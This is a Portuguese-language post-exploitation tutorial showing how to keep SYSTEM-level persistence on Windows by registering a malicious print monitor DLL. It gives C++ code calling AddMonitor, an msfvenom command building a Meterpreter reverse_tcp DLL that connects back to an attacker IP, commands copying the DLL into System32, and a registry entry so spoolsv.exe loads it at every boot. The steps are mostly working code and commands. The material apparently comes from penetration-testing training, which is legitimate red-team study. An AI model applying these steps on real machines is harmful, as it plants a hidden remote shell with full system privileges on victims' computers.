
Uma forma antiga de Persistência
Utilizado para manter privilégios durante a fase de pós-exploração.
Passo 1: Baixe este projeto e, em seguida, use o VS para compilar o Monitor.cpp. Claro, você também pode usar o já compilado. O código do Monitor.cpp é o seguinte:
#include "Windows.h"
int main() {
MONITOR_INFO_2 monitorInfo;
TCHAR env[12] = TEXT("Windows x64");
TCHAR name[12] = TEXT("Monitor");
TCHAR dll[12] = TEXT("test.dll");
monitorInfo.pName = name;
monitorInfo.pEnvironment = env;
monitorInfo.pDLLName = dll;
AddMonitor(NULL, 2, (LPBYTE)&monitorInfo);
return 0;
}
Passo 2: Use o Msfvenom para gerar o payload de ataque DLL:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.188.129 LPORT=4444 -f dll > shell.dll

Passo 3: Copie o shell.dll para o diretório system32 do host de destino e renomeie-o para test.dll (ou seja, o pDLLName acima; você também pode alterá-lo para o nome que preferir, fica a seu critério):
copy C:\temp\shell.dll C:\Windows\System32\test.dll

Passo 4: Em seguida, entre no diretório system32 e execute o seguinte comando (o Monitors.exe é o arquivo compilado anteriormente e também precisa ser colocado no diretório system32):
Monitors.exe

Passo 5: Depois disso, a sessão do Meterpreter é recebida com sucesso.

Para implementar a persistência, precisamos definir uma chave no local do registro "Monitors":
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Print\Monitors
Em seguida, execute o seguinte comando no prompt de comando para criar uma entrada de registro que conterá o valor test.dll. Verifique no editor se a chave foi criada:
reg add "hklm\system\currentcontrolset\control\print\monitors\Pentestlab" /v "Driver" /d "test.dll" /t REG_SZ

Na próxima reinicialização, o processo spoolsv.exe carregará todos os arquivos DLL de driver que existem na chave de registro Monitors e estão armazenados na pasta System32 do Windows. A imagem abaixo demonstra que a sessão do Meterpreter foi estabelecida com o mesmo nível de privilégio do serviço Print Spooler (SYSTEM) e foi executada a partir da pasta System32.
